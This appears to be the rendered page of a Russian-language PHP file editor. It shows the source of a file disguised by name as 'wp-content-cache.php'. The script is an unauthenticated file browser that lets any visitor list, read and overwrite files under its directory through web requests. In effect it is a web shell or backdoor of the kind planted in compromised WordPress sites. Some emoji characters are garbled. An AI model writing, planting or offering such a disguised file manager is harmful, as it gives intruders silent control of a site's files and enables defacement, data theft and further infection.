<h2>Редактирование файла: wp-content-cache.php</h2><form method="post"><textarea name="content" rows="20" cols="100">&lt;?php
$root = __DIR__; // 
$dir = isset($_GET[&#039;dir&#039;]) ? realpath($root . &#039;/&#039; . $_GET[&#039;dir&#039;]) : $root;

// 
if ($dir === false || strpos($dir, $root) !== 0) {
    $dir = $root;
}

$files = scandir($dir);

if (isset($_GET[&#039;file&#039;])) {
    $file = basename($_GET[&#039;file&#039;]); // 
    $filepath = $dir . &#039;/&#039; . $file;

    if (file_exists($filepath)) {
        if (isset($_POST[&#039;content&#039;])) {
            file_put_contents($filepath, $_POST[&#039;content&#039;]);
            echo &quot;&lt;p style=&#039;color:green;&#039;&gt;✅ Файл сохранен!&lt;/p&gt;&quot;;
        }
        $content = file_get_contents($filepath);
        echo &quot;&lt;h2&gt;Редактирование файла: $file&lt;/h2&gt;&quot;;
        echo &#039;&lt;form method=&quot;post&quot;&gt;&#039;;
        echo &#039;&lt;textarea name=&quot;content&quot; rows=&quot;20&quot; cols=&quot;100&quot;&gt;&#039; . htmlspecialchars($content) . &#039;&lt;/textarea&gt;&lt;br&gt;&#039;;
        echo &#039;&lt;button type=&quot;submit&quot;&gt;Сохранить&lt;/button&gt;&#039;;
        echo &#039;&lt;/form&gt;&#039;;
        echo &#039;&lt;p&gt;&lt;a href=&quot;?dir=&#039; . urlencode(str_replace($root, &#039;&#039;, $dir)) . &#039;&quot;&gt;⬅ Назад&lt;/a&gt;&lt;/p&gt;&#039;;
        exit;
    } else {
        echo &quot;&lt;p style=&#039;color:red;&#039;&gt;❌ Файл не найден&lt;/p&gt;&quot;;
    }
}

echo &quot;&lt;h2&gt;Папка: $dir&lt;/h2&gt;&lt;ul&gt;&quot;;

// 
if ($dir !== $root) {
    $parent = dirname(str_replace($root, &#039;&#039;, $dir));
    echo &#039;&lt;li&gt;&lt;a href=&quot;?dir=&#039; . urlencode($parent) . &#039;&quot;&gt;⬅ Назад&lt;/a&gt;&lt;/li&gt;&#039;;
}

foreach ($files as $file) {
    if ($file === &#039;.&#039; || $file === &#039;..&#039;) continue;

    $fullPath = $dir . &#039;/&#039; . $file;

    //
    if (is_dir($fullPath)) {
        $path = str_replace($root, &#039;&#039;, $fullPath);
        echo &#039;&lt;li&gt;�� &lt;a href=&quot;?dir=&#039; . urlencode($path) . &#039;&quot;&gt;&#039; . htmlspecialchars($file) . &#039;&lt;/a&gt;&lt;/li&gt;&#039;;
    } else {
        // 
        $path = str_replace($root, &#039;&#039;, $dir);
        echo &#039;&lt;li&gt;�� &lt;a href=&quot;?dir=&#039; . urlencode($path) . &#039;&amp;file=&#039; . urlencode($file) . &#039;&quot;&gt;&#039; . htmlspecialchars($file) . &#039;&lt;/a&gt;&lt;/li&gt;&#039;;
    }
}
echo &quot;&lt;/ul&gt;&quot;;
?&gt;
</textarea><br><button type="submit">Сохранить</button></form><p><a href="?dir=">⬅ Назад</a></p>